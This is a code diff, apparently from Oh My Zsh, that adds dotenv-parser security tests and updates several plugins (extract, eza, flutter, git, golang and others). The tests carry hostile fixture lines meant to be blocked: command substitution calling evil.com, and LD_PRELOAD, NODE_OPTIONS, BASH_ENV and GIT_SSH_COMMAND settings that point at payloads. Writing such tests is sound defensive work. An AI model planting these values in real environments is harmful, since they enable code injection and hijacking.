+@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
+  > "$fixture" <<'EOF'
+# Dollar signs that don't start command substitution
+SAFE_DOLLARS='$HOME is literal'
+SAFE_PRICE='Cost is $50'
+SAFE_VAR='value$123'
+
+# Should all be parsed
+SAFE_VAR2=safe_value
+EOF
+
+  expected_vars=(
+    SAFE_DOLLARS '$HOME is literal'
+    SAFE_PRICE 'Cost is $50'
+    SAFE_VAR 'value$123'
+    SAFE_VAR2 'safe_value'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'skip quoted command substitution' {
+  > "$fixture" <<'EOF'
+HARMLESS_COMMAND="\$(echo)"
+ANOTHER_ONE=$'\x24\x28echo\x29'
+EOF
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'comprehensive security test with mixed safe and dangerous patterns' {
+  > "$fixture" <<'EOF'
+# These should be SKIPPED (dangerous)
+DANGEROUS_BACKTICK=`whoami`
+DANGEROUS_SUBSHELL=$(date)
+DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
+LOOKS_SAFE=$(curl http://evil.com)
+BASE_URL=/ echo command run
+
+# These should WORK (safe)
+SAFE_BEFORE=safe_value_1
+SAFE_AFTER=safe_value_2
+SAFE_SINGLE_QUOTED='$(this is literal)'
+SAFE_SINGLE_QUOTED2='`also literal`'
+SAFE_DOLLARS='$HOME'
+SAFE_PRICE="$50"
+EOF
+
+  expected_vars=(
+    SAFE_BEFORE 'safe_value_1'
+    SAFE_AFTER 'safe_value_2'
+    SAFE_SINGLE_QUOTED '$(this is literal)'
+    SAFE_SINGLE_QUOTED2 '`also literal`'
+    SAFE_DOLLARS '$HOME'
+    SAFE_PRICE '$50'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+
+
+@test 'blocks changes of special environment variables' {
+  _parse_dotenv_test =(<<'EOF'
+# Executes on the next node/npm/npx invocation
+NODE_OPTIONS=--require=./payload.js
+
+# Used for shell initialization
+BASH_ENV=./payload.sh
+# Used for shell initialization in zsh, but also respected by some tools like git
+# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
+# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
+ENV=./payload.sh
+# Used for zsh startup
+ZDOTDIR=./.malicious_zsh
+ZSH=./.malicious_zsh
+
+# These are used for native code injection
+LD_PRELOAD=./payload.so
+LD_LIBRARY_PATH=./malicious_libs
+DYLD_INSERT_LIBRARIES=./payload.dylib
+
+# Git environment variables
+GIT_CONFIG_GLOBAL=./.gitconfig-malicious
+GIT_DIR=./malicious_git_dir
+GIT_EDITOR=./malicious_editor
+GIT_EXTERNAL_DIFF=./malicious_diff
+GIT_EXEC_PATH=./.malicious_git_exec
+GIT_PAGER=./malicious_pager
+GIT_SSH=./malicious_ssh
+GIT_SSH_COMMAND=./malicious_ssh_command
+GIT_SSL_NO_VERIFY=true
+GIT_TEMPLATE_DIR=./malicious_templates # for persistence
+
+# Special exported variables
+PATH=./malicious_bin:$PATH
+EDITOR=./malicious
+VISUAL=./malicious
+PAGER=./malicious
+EOF
+)
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}

plugins/emacs/emacsclient.sh

@@ -1,14 +1,33 @@
 #!/bin/sh
 
 emacsfun() {
-  local cmd frames
+  local cmd frames arg tty
 
   # Build the Emacs Lisp command to check for suitable frames
   # See https://www.gnu.org/software/emacs/manual/html_node/elisp/Frames.html#index-framep
-  case "$*" in
-  *-t*|*--tty*|*-nw*) cmd="(memq 't (mapcar 'framep (frame-list)))" ;; # if != nil, there are tty frames
-  *) cmd="(delete 't (mapcar 'framep (frame-list)))" ;; # if != nil, there are graphical terminals (x, w32, ns)
-  esac
+  for arg in "$@"; do
+    case "$arg" in
+    -t|--tty|-nw) tty=1; break ;;
+    esac
+  done
+
+  if [ -n "$tty" ]; then
+    cmd="(memq 't (mapcar 'framep (frame-list)))" # if != nil, there are tty frames
+  else
+    cmd="(delete 't (mapcar 'framep (frame-list)))" # if != nil, there are graphical terminals (x, w32, ns)
+  fi
+
+  # A tty frame needs the client to stay attached, so drop the --no-wait the
+  # `emacs` alias adds. Otherwise emacsclient returns at once and nothing opens.
+  if [ -n "$tty" ]; then
+    for arg do
+      shift
+      case "$arg" in
+      --no-wait) continue ;;
+      esac
+      set -- "$@" "$arg"
+    done
+  fi
 
   # Check if there are suitable frames
   frames="$(emacsclient -a '' -n -e "$cmd" 2>/dev/null |sed 's/.*\x07//g' )"

plugins/extract/_extract

@@ -53,5 +53,6 @@ local -a exts=(
 
 _arguments \
   '(-r --remove)'{-r,--remove}'[Remove archive.]' \
+  '(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
   "*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
     && return 0

plugins/extract/extract.plugin.zsh

@@ -9,14 +9,41 @@ Usage: extract [-option] [file ...]
 
 Options:
     -r, --remove    Remove archive after unpacking.
+    -t, --to-directory <dir>  Extract to a specific directory instead of the current one.
 EOF
   fi
 
   local remove_archive=1
-  if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then
-    remove_archive=0
-    shift
-  fi
+  local target_directory=""
+
+  while (( $# > 0 )); do
+    case "$1" in
+      -r|--remove)
+        remove_archive=0
+        shift
+        ;;
+      -t|--to-directory)
+        shift
+        if (( $# == 0 )); then
+          echo "extract: -t/--to-directory requires a directory argument" >&2
+          return 1
+        fi
+
+        target_directory="$1"
+        shift
+
+        if [[ ! -d "$target_directory" ]]; then
+          echo "extract: '$target_directory' is not a valid directory" >&2
+          return 1
+        fi
+
+        target_directory="${target_directory%/}"
+        ;;
+      *)
+        break
+        ;;
+    esac
+  done
 
   local pwd="$PWD"
   while (( $# > 0 )); do
@@ -35,6 +62,10 @@ EOF
       extract_dir="${extract_dir:r}"
     fi
 
+    if [[ -n "$target_directory" ]]; then
+      extract_dir="$target_directory/${extract_dir:t}"
+    fi
+
     # If there's a file or directory with the same name as the archive
     # add a random string to the end of the extract directory
     if [[ -e "$extract_dir" ]]; then
@@ -71,7 +102,7 @@ EOF
       (*.tar.lrz) (( $+commands[lrzuntar] )) && lrzuntar "$full_path" ;;
       (*.gz) (( $+commands[pigz] )) && pigz -cdk "$full_path" > "${file:t:r}" || gunzip -ck "$full_path" > "${file:t:r}" ;;
       (*.bz2) (( $+commands[pbzip2] )) && pbzip2 -d "$full_path" || bunzip2 "$full_path" ;;
-      (*.xz) unxz "$full_path" ;;
+      (*.xz) xzcat "$full_path" > "${file:t:r}" ;;
       (*.lrz) (( $+commands[lrunzip] )) && lrunzip "$full_path" ;;
       (*.lz4) lz4 -d "$full_path" ;;
       (*.lzma) unlzma "$full_path" ;;
@@ -126,7 +157,7 @@ EOF
       # 1. Move and rename the extracted file/folder to a temporary random name
       # 2. Delete the empty folder
       # 3. Rename the extracted file/folder to the original name
-      if [[ "${content[1]:t}" == "$extract_dir" ]]; then
+      if [[ "${content[1]:t}" == "${extract_dir:t}" ]]; then
         # =(:) gives /tmp/zsh<random>, with :t it gives zsh<random>
         local tmp_name==(:); tmp_name="${tmp_name:t}"
         command mv "${content[1]}" "$tmp_name" \
@@ -134,9 +165,9 @@ EOF
         && command mv "$tmp_name" "$extract_dir"
       # Otherwise, if the extracted folder name already exists in the current
       # directory (because of a previous file / folder), keep the extract_dir
-      elif [[ ! -e "${content[1]:t}" ]]; then
-        command mv "${content[1]}" . \
-        && command rmdir "$extract_dir"
+      elif [[ ! -e "${target_directory:-.}/${content[1]:t}" ]]; then
+        command mv -- "${content[1]}" "${target_directory:-.}/" \
+        && command rmdir -- "$extract_dir"
       fi
     elif [[ ${#content} -eq 0 ]]; then
       command rmdir "$extract_dir"

plugins/eza/README.md

@@ -48,10 +48,11 @@ Default: `no`
 ### `show-group`
 
 ```zsh
-zstyle ':omz:plugins:eza' 'show-group' yes|no
+zstyle ':omz:plugins:eza' 'show-group' yes|no|smart
 ```
 
 If `yes` (default), always add `-g` flag to show the group ownership.
+If `smart`, adds the `--smart-group` flag to only show the group if it has a different name from the owner.
 
 Default: `yes`
 

plugins/eza/eza.plugin.zsh

@@ -9,9 +9,15 @@ typeset -a _EZA_TAIL
 function _configure_eza() {
   local _val
   # Get the head flags
-  if zstyle -T ':omz:plugins:eza' 'show-group'; then
-    _EZA_HEAD+=("g")
-  fi
+  zstyle -s ':omz:plugins:eza' 'show-group' _val
+  case "${_val:l}" in
+    yes)
+      _EZA_HEAD+=("g")
+      ;;
+    smart)
+      _EZA_TAIL+=("--smart-group")
+      ;;
+  esac
   if zstyle -t ':omz:plugins:eza' 'header'; then
     _EZA_HEAD+=("h")
   fi
@@ -46,8 +52,13 @@ function _configure_eza() {
   if [[ $_val ]]; then
     _EZA_TAIL+=("--time-style='$_val'")
   fi
-  if zstyle -t ":omz:plugins:eza" "hyperlink"; then
-    _EZA_TAIL+=("--hyperlink")
+  if zstyle -t ':omz:plugins:eza' 'hyperlink'; then
+    # eza >= 0.23 needs an explicit WHEN value
+    if command eza --hyperlink=auto --version &>/dev/null; then
+      _EZA_TAIL+=("--hyperlink=auto")
+    else
+      _EZA_TAIL+=("--hyperlink")
+    fi
   fi
 }
 

plugins/flutter/README.md

@@ -13,16 +13,20 @@ plugins=(... flutter)
 | Alias      | Command                 | Description                                                                |
 | :--------- | :---------------------- | :------------------------------------------------------------------------- |
 | `fl`       | `flutter`               | Shorthand for flutter command                                              |
+| `fla`      | `flutter analyze`       | Analyzes flutter code                                                      |
 | `flattach` | `flutter attach`        | Attaches flutter to a running flutter application with enabled observatory |
 | `flb`      | `flutter build`         | Build flutter application                                                  |
-| `flchnl`   | `flutter channel`       | Switches flutter channel (requires input of desired channel)               |
 | `flc`      | `flutter clean`         | Cleans flutter project                                                     |
-| `fldvcs`   | `flutter devices`       | List connected devices (if any)                                            |
+| `flchnl`   | `flutter channel`       | Switches flutter channel (requires input of desired channel)               |
 | `fldoc`    | `flutter doctor`        | Runs flutter doctor                                                        |
-| `flpub`    | `flutter pub`           | Shorthand for flutter pub command                                          |
+| `fldvcs`   | `flutter devices`       | List connected devices (if any)                                            |
 | `flget`    | `flutter pub get`       | Installs dependencies                                                      |
+| `fll`      | `flutter logs`          | Shows flutter logs                                                         |
+| `flpu`     | `flutter pub upgrade`   | Upgrades dependencies                                                      |
+| `flpub`    | `flutter pub`           | Shorthand for flutter pub command                                          |
 | `flr`      | `flutter run`           | Runs flutter app                                                           |
 | `flrd`     | `flutter run --debug`   | Runs flutter app in debug mode (default mode)                              |
 | `flrp`     | `flutter run --profile` | Runs flutter app in profile mode                                           |
 | `flrr`     | `flutter run --release` | Runs flutter app in release mode                                           |
-| `flupgrd`  | `flutter upgrade`       | Upgrades flutter version depending on the current channel                  |
+| `flt`      | `flutter test`          | Runs flutter tests                                                         |
+| `flupgrd`  | `flutter upgrade`       | Upgrades flutter version depending on the current channel                  |

plugins/flutter/flutter.plugin.zsh

@@ -1,16 +1,20 @@
 alias fl="flutter"
+alias fla="flutter analyze"
 alias flattach="flutter attach"
 alias flb="flutter build"
-alias flchnl="flutter channel"
 alias flc="flutter clean"
-alias fldvcs="flutter devices"
+alias flchnl="flutter channel"
 alias fldoc="flutter doctor"
-alias flpub="flutter pub"
+alias fldvcs="flutter devices"
 alias flget="flutter pub get"
+alias fll="flutter logs"
+alias flpu="flutter pub upgrade"
+alias flpub="flutter pub"
 alias flr="flutter run"
 alias flrd="flutter run --debug"
 alias flrp="flutter run --profile"
 alias flrr="flutter run --release"
+alias flt="flutter test"
 alias flupgrd="flutter upgrade"
 
 # COMPLETION FUNCTION
@@ -26,4 +30,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flutter" ]]; then
   _comps[flutter]=_flutter
 fi
 
-flutter zsh-completion < /dev/null >| "$ZSH_CACHE_DIR/completions/_flutter" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flutter"
+  zf_mv -f -- =( flutter zsh-completion < /dev/null ) "$TMPPREFIX"
+} &|

plugins/fluxcd/fluxcd.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_flux" ]]; then
   _comps[flux]=_flux
 fi
 
-flux completion zsh >| "$ZSH_CACHE_DIR/completions/_flux" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_flux"
+  zf_mv -f -- =( flux completion zsh ) "$TMPPREFIX"
+} &|

plugins/fnm/README.md

@@ -2,8 +2,34 @@
 
 This plugin adds autocompletion for [fnm](https://github.com/Schniz/fnm) - a Node.js version manager.
 
-To use it, add `fnm` to the plugins array in your zshrc file:
+To use it, add `fnm` to the plugins array in your `.zshrc` file:
 
 ```zsh
 plugins=(... fnm)
 ```
+
+## Configuration
+
+These settings should go in your `.zshrc` file, before Oh My Zsh is sourced.
+
+### Autostart
+
+If set, the plugin will automatically start fnm for the session, running the `fnm env`:
+
+```zsh
+zstyle ':omz:plugins:fnm' autostart yes
+```
+
+Default: `no` (disabled)
+
+### Use on cd
+
+If set, the Node.js version will be switched based on the requirements of the current directory (recommended):
+
+```zsh
+zstyle ':omz:plugins:fnm' use-on-cd yes
+```
+
+Default: `yes` (enabled)
+
+Check out the [official documentation](https://github.com/Schniz/fnm/blob/master/docs/commands.md) for the available fnm variables.

plugins/fnm/fnm.plugin.zsh

@@ -10,4 +10,16 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_fnm" ]]; then
   _comps[fnm]=_fnm
 fi
 
-fnm completions --shell=zsh >| "$ZSH_CACHE_DIR/completions/_fnm" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_fnm"
+  zf_mv -f -- =( fnm completions --shell=zsh ) "$TMPPREFIX"
+} &|
+
+if zstyle -t ':omz:plugins:fnm' autostart; then
+  local -a fnm_env_cmd
+  if zstyle -T ':omz:plugins:fnm' use-on-cd; then
+    fnm_env_cmd+=("--use-on-cd")
+  fi
+  eval "$(fnm env --shell=zsh $fnm_env_cmd)"
+fi

plugins/gcx/README.md

@@ -0,0 +1,18 @@
+# Grafana CLI plugin
+
+This plugin adds completion for the [Grafana CLI (gcx)](https://github.com/grafana/gcx).
+
+To use it, add `gcx` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... gcx)
+```
+
+This plugin does not add any aliases.
+
+## Cache
+
+This plugin caches the completion script and automatically updates it when the
+plugin is loaded, which is usually when you start a new terminal emulator.
+
+The cache is stored at `$ZSH_CACHE_DIR/completions/_gcx`.

plugins/gcx/gcx.plugin.zsh

@@ -0,0 +1,18 @@
+# Autocompletion for the Grafana CLI (gcx).
+if (( ! $+commands[gcx] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `gcx`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_gcx" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _gcx
+  _comps[gcx]=_gcx
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gcx"
+  zf_mv -f -- =( gcx completion zsh ) "$TMPPREFIX"
+} &|

plugins/gh/gh.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_gh" ]]; then
   _comps[gh]=_gh
 fi
 
-gh completion --shell zsh >| "$ZSH_CACHE_DIR/completions/_gh" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_gh"
+  zf_mv -f -- =( gh completion --shell zsh ) "$TMPPREFIX"
+} &|

plugins/git/README.md

@@ -45,7 +45,7 @@ plugins=(... git)
 | `gbgD`                 | `LANG=C git branch --no-color -vv \| grep ": gone\]" \| cut -c 3- \| awk '"'"'{print $1}'"'"' \| xargs git branch -D`           |
 | `gbm`                  | `git branch --move`                                                                                                             |
 | `gbnm`                 | `git branch --no-merged`                                                                                                        |
-| `gbr`                  | `git branch --remote`                                                                                                           |
+| `gbr`                  | `git branch --remotes`                                                                                                          |
 | `ggsup`                | `git branch --set-upstream-to=origin/$(git_current_branch)`                                                                     |
 | `gbg`                  | `LANG=C git branch -vv \| grep ": gone\]"`                                                                                      |
 | `gco`                  | `git checkout`                                                                                                                  |
@@ -181,6 +181,8 @@ plugins=(... git)
 | `grst`                 | `git restore --staged`                                                                                                          |
 | `gunwip`               | `git rev-list --max-count=1 --format="%s" HEAD \| grep -q "--wip--" && git reset HEAD~1`                                        |
 | `grev`                 | `git revert`                                                                                                                    |
+| `greva`                | `git revert --abort`                                                                                                            |
+| `grevc`                | `git revert --continue`                                                                                                         |
 | `grm`                  | `git rm`                                                                                                                        |
 | `grmc`                 | `git rm --cached`                                                                                                               |
 | `gcount`               | `git shortlog --summary -n`                                                                                                     |
@@ -215,6 +217,7 @@ plugins=(... git)
 | `gunignore`            | `git update-index --no-assume-unchanged`                                                                                        |
 | `gwch`                 | `git log --patch --abbrev-commit --pretty=medium --raw`                                                                         |
 | `gwt`                  | `git worktree`                                                                                                                  |
+| `gwta`                 | `git worktree add`                                                                                                              |
 | `gwtls`                | `git worktree list`                                                                                                             |
 | `gwtmv`                | `git worktree move`                                                                                                             |
 | `gwtrm`                | `git worktree remove`                                                                                                           |

plugins/git/git.plugin.zsh

@@ -137,8 +137,9 @@ function gbda() {
 # Copied and modified from James Roeder (jmaroeder) under MIT License
 # https://github.com/jmaroeder/plugin-git/blob/216723ef4f9e8dde399661c39c80bdf73f4076c4/functions/gbda.fish
 function gbds() {
-  local default_branch=$(git_main_branch)
-  (( ! $? )) || default_branch=$(git_develop_branch)
+  local default_branch
+  default_branch=$(git_main_branch) \
+    || default_branch=$(git_develop_branch)
 
   git for-each-ref refs/heads/ "--format=%(refname:short)" | \
     while read branch; do
@@ -153,7 +154,7 @@ alias gbgd='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk
 alias gbgD='LANG=C git branch --no-color -vv | grep ": gone\]" | cut -c 3- | awk '"'"'{print $1}'"'"' | xargs git branch -D'
 alias gbm='git branch --move'
 alias gbnm='git branch --no-merged'
-alias gbr='git branch --remote'
+alias gbr='git branch --remotes'
 alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
 alias gbg='LANG=C git branch -vv | grep ": gone\]"'
 alias gco='git checkout'

plugins/gitfast/git-prompt.sh

@@ -235,7 +235,7 @@ __git_ps1_show_upstream ()
 			if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
 				upstream="$upstream \${__git_ps1_upstream_name}"
 			else
-				upstream="$upstream ${__git_ps1_upstream_name}"
+				upstream="$upstream ${__git_ps1_upstream_name//\%/%%}"
 				# not needed anymore; keep user's
 				# environment clean
 				unset __git_ps1_upstream_name
@@ -570,6 +570,9 @@ __git_ps1 ()
 	if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then
 		__git_ps1_branch_name=$b
 		b="\${__git_ps1_branch_name}"
+	else
+		# escape % in branch name to avoid prompt expansion issues
+		b="${b//\%/%%}"
 	fi
 
 	if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then

plugins/github/README.md

@@ -1,45 +1,43 @@
 # github plugin
 
-This plugin supports working with GitHub from the command line. It provides a few things:
+> [!WARNING]
+> This plugin is deprecated and will be removed in a future release. It supports
+> the legacy [`hub`](https://github.com/mislav/hub) CLI, not the current GitHub
+> CLI. For `gh` completion, use the [`gh` plugin](../gh) instead.
 
-* Sets up the `hub` wrapper and completions for the `git` command if you have [`hub`](https://github.com/github/hub) installed.
-* Completion for the [`github` Ruby gem](https://github.com/defunkt/github-gem).
-* Convenience functions for working with repos and URLs.
+The plugin provides compatibility for existing `hub` users by:
 
-### Functions
+- aliasing `git` to `hub` when `hub` is installed;
+- adding completion for `hub`; and
+- defining convenience functions for creating repositories.
 
-* `empty_gh` - Creates a new empty repo (with a `README.md`) and pushes it to GitHub
-* `new_gh` - Initializes an existing directory as a repo and pushes it to GitHub
-* `exist_gh` - Takes an existing repo and pushes it to GitHub
+## Migrating to GitHub CLI
 
-
-## Installation
-
-[Hub](https://github.com/github/hub) needs to be installed if you want to use it. On OS X with Homebrew, this can be done with `brew install hub`. The `hub` completion definition needs to be added to your `$FPATH` before initializing OMZ.
-
-The [`github` Ruby gem](https://github.com/defunkt/github-gem) needs to be installed if you want to use it.
-
-### Configuration
-
-These settings affect `github`'s behavior.
-
-#### Environment variables
-
-* `$GITHUB_USER`
-* `$GITHUB_PASSWORD`
-
-#### Git configuration options
-
-* `github.user` - GitHub username for repo operations
-
-See `man hub` for more details.
-
-### Homebrew installation note
-
-If you have installed `hub` using Homebrew, its completions may not be on your `$FPATH` if you are using the system `zsh`. Homebrew installs `zsh` completion definitions to `/usr/local/share/zsh/site-functions`, which will be on `$FPATH` for the Homebrew-installed `zsh`, but not for the system `zsh`. If you want it to work with the system `zsh`, add this to your `~/.zshrc` before it sources `oh-my-zsh.sh`.
+Install [GitHub CLI](https://cli.github.com/), replace `github` with `gh` in
+your plugin list, and restart your shell:
 
 ```zsh
-if (( ! ${fpath[(I)/usr/local/share/zsh/site-functions]} )); then
-  FPATH=/usr/local/share/zsh/site-functions:$FPATH
-fi
+plugins=(... gh)
 ```
+
+The `gh` plugin supplies completion for the installed GitHub CLI. It does not
+alias `git`, because `gh` is not a Git wrapper.
+
+The closest replacement for creating a GitHub repository from an existing
+local repository is:
+
+```zsh
+gh repo create --source=. --push
+```
+
+## Deprecated functions
+
+- `empty_gh` - creates a new repository with a `README.md` and pushes it to GitHub
+- `new_gh` - initializes an existing directory and pushes it to GitHub
+- `exist_gh` - pushes an existing Git repository to GitHub
+
+These functions remain available during the deprecation period and require
+`hub`. They will be removed with the plugin.
+
+If you continue using `hub`, see its documentation for authentication and
+configuration details.

plugins/github/github.plugin.zsh

@@ -1,3 +1,6 @@
+print -Pru2 -- '%F{yellow}[oh-my-zsh] The %Bgithub%b plugin is deprecated and will be removed in a future release.'
+print -Pru2 -- 'It supports the legacy %Bhub%b CLI. Use the %Bgh%b plugin for GitHub CLI completion.%f'
+
 # Set up hub wrapper for git, if it is available; https://github.com/github/hub
 if (( $+commands[hub] )); then
   alias git=hub
@@ -26,7 +29,7 @@ empty_gh() { # [NAME_OF_REPO]
 # This function will add all non-hidden files to git.
 new_gh() { # [DIRECTORY]
   emulate -L zsh
-  local repo="$1"
+  local repo="${1:-.}"
   cd "$repo" \
     || return
 
@@ -42,7 +45,7 @@ new_gh() { # [DIRECTORY]
     || return
   hub create \
     || return
-  git push -u origin master \
+  git push -u origin HEAD \
     || return
 }
 
@@ -52,18 +55,19 @@ new_gh() { # [DIRECTORY]
 # to your GitHub.
 exist_gh() { # [DIRECTORY]
   emulate -L zsh
-  local repo=$1
-  cd "$repo"
+  local repo="${1:-.}"
+  cd "$repo" \
+    || return
 
   hub create \
     || return
-  git push -u origin master
+  git push -u origin HEAD
 }
 
 # git.io "GitHub URL"
 #
 # Shorten GitHub url, example:
-#   https://github.com/nvogel/dotzsh    >   https://git.io/8nU25w
+#   https://github.com/nvogel/dotzsh    > https://git.io/8nU25w
 # source: https://github.com/nvogel/dotzsh
 # documentation: https://github.com/blog/985-git-io-github-url-shortener
 #
@@ -74,4 +78,3 @@ git.io() {
 }
 
 # End Functions #############################################################
-

plugins/gitignore/gitignore.plugin.zsh

@@ -10,12 +10,48 @@ function gi() {
 }
 
 _gitignoreio_get_command_list() {
+  setopt local_options pipe_fail
   _gi_curl "list" | tr "," "\n"
 }
 
-_gitignoreio () {
-  compset -P '*,'
-  compadd -S '' $(_gitignoreio_get_command_list)
+__gitignoreio_caching_policy() {
+  local -a oldp
+  oldp=("$1"(Nm+7))
+  (($#oldp))
 }
 
-compdef _gitignoreio gi
+_gitignoreio_retrieve_stale_cache() {
+  zstyle -t ":completion:${curcontext}:" use-cache || return 1
+
+  local cache_dir
+  zstyle -s ":completion:${curcontext}:" cache-path cache_dir
+  : ${cache_dir:=${ZDOTDIR:-$HOME}/.zcompcache}
+
+  [[ -e "$cache_dir/gi-list" ]] || return 1
+  . "$cache_dir/gi-list"
+}
+
+_gitignoreio() {
+  compset -P '*,'
+
+  local cache_policy
+  zstyle -s ":completion:${curcontext}:" cache-policy cache_policy
+  if [[ -z "$cache_policy" ]]; then
+    zstyle ":completion:${curcontext}:" cache-policy __gitignoreio_caching_policy
+  fi
+
+  local -a _gi_list
+  if _cache_invalid gi-list || ! _retrieve_cache gi-list; then
+    local command_list
+    if command_list="$(_gitignoreio_get_command_list)" && [[ -n "$command_list" ]]; then
+      _gi_list=(${(f)command_list})
+      _store_cache gi-list _gi_list
+    else
+      _gitignoreio_retrieve_stale_cache
+    fi
+  fi
+
+  compadd -S '' -a _gi_list
+}
+
+compdef _gitignoreio gi

plugins/gnu-utils/README.md

@@ -27,7 +27,7 @@ The plugin also documents two other ways to do this:
 
 1. Using a function wrapper, such that, for example, there exists a function
 named `ls` which calls `gls` instead. Since functions have a higher preference
-than commands, this ends up calling the GNU coreutil. It has also a higher
+than commands, this ends up calling the GNU coreutils. It has also a higher
 preference over shell builtins (`gecho` is called instead of the builtin `echo`).
 
 2. Using an alias. This has an even higher preference than functions, but they

plugins/golang/README.md

@@ -39,3 +39,18 @@ plugins=(... golang)
 | gov    | `go vet`          | Vet examines Go source code and reports suspicious constructs |
 | gove   | `go version`      | Prints Go version                                             |
 | gow    | `go work`         | Work provides access to operations on workspaces              |
+
+## Prompt
+
+This plugin provides the `go_prompt_info` function to add the installed Go
+version to your prompt.
+
+For example:
+```
+PROMPT="%~$ "
+RPROMPT='$(go_prompt_info)'
+```
+changes your prompt to:
+```
+~/go/project$ ▋                                                     1.22.3
+```

plugins/golang/_golang

@@ -15,6 +15,52 @@ __go_identifiers() {
   compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null)
 }
 
+__go_tool_commands() {
+  local -a tools tool_commands
+  local -A command_seen short_count
+  local tool command
+
+  tools=("${(@f)$(go tool 2>/dev/null)}")
+
+  # Go 1.24+ lists module tools by package path, but also accepts unique
+  # default binary names for those tools.
+  for tool in "${tools[@]}"; do
+    [[ -n $tool ]] || continue
+
+    (( command_seen[$tool]++ ))
+
+    if [[ $tool == */* ]]; then
+      command=${tool:t}
+
+      if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
+        command=${${tool%/$command}:t}
+      fi
+
+      (( short_count[$command]++ ))
+    fi
+  done
+
+  for tool in "${tools[@]}"; do
+    [[ -n $tool ]] || continue
+
+    tool_commands+=("$tool")
+
+    if [[ $tool == */* ]]; then
+      command=${tool:t}
+
+      if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then
+        command=${${tool%/$command}:t}
+      fi
+
+      if (( short_count[$command] == 1 && ! command_seen[$command] )); then
+        tool_commands+=("$command")
+      fi
+    fi
+  done
+
+  _values "go tool" "${tool_commands[@]}"
+}
+
 _go() {
   typeset -a commands build_flags
   commands+=(
@@ -208,7 +254,7 @@ _go() {
     ;;
   tool)
     if (( CURRENT == 3 )); then
-        _values "go tool" $(go tool)
+        __go_tool_commands
         return
     fi
     case ${words[3]} in

plugins/golang/golang.plugin.zsh

@@ -36,3 +36,12 @@ alias gotofx='go tool fix'
 alias gov='go vet'
 alias gove='go version'
 alias gow='go work'
+
+## prompt
+function go_prompt_info() {
+  (( $+commands[go] )) || return
+  local go_prompt
+  go_prompt=$(go version | awk '{ print substr($3, 3) }')
+  [[ -z "${go_prompt}" ]] && return
+  echo "${ZSH_THEME_GO_PROMPT_PREFIX}${go_prompt:gs/%/%%}${ZSH_THEME_GO_PROMPT_SUFFIX}"
+}

plugins/gradle/_gradle

@@ -34,18 +34,16 @@ __gradle-set-build-file() {
 
     local default_gradle_build_file_name="build.gradle"
     if [[ -r $gradle_settings_file ]]; then
-        default_gradle_build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
+        local build_file_name=${$(grep "^rootProject\.buildFileName" $gradle_settings_file | \
             sed -n -e "s/rootProject\.buildFileName = [\'\"]\(.*\)[\'\"]/\1/p")}
 
-        default_gradle_build_file_name="${default_gradle_build_file:-build.gradle}"
+        default_gradle_build_file_name="${build_file_name:-build.gradle}"
     fi
 
-    local default_gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
-    if [[ ! -f $default_gradle_build_file ]]; then
-        default_gradle_build_file="$project_root_dir/build.gradle.kts"
+    gradle_build_file="$project_root_dir/$default_gradle_build_file_name"
+    if [[ ! -f $gradle_build_file ]]; then
+        gradle_build_file="$project_root_dir/build.gradle.kts"
     fi
-
-    gradle_build_file=$default_gradle_build_file
 }
 
 __gradle-set-cache-name() {
@@ -214,6 +212,7 @@ __gradle_subcommand() {
                 '--dsl=[Set the build script DSL to be used in generated scripts.]' \
                 '--incubating[Allow the generated build to use new features and APIs.]' \
                 '--insecure-protocol=[How to handle insecure URLs used for Maven Repositories.]' \
+                '--into=[Set the directory where the project is generated.]' \
                 '--java-version=[Provides java version to use in the project.]' \
                 '--overwrite[Allow existing files in the build directory to be overwritten?]' \
                 '--package=[Set the package for source files.]' \
@@ -228,6 +227,7 @@ __gradle_subcommand() {
                 '--all[Show additional tasks and detail.]' \
                 '--group=[Show tasks for a specific group.]' \
                 '--groups=[Show tasks for specific groups (can be used multiple times to specify multiple groups).]' \
+                '--provenance[Show task provenance information]' \
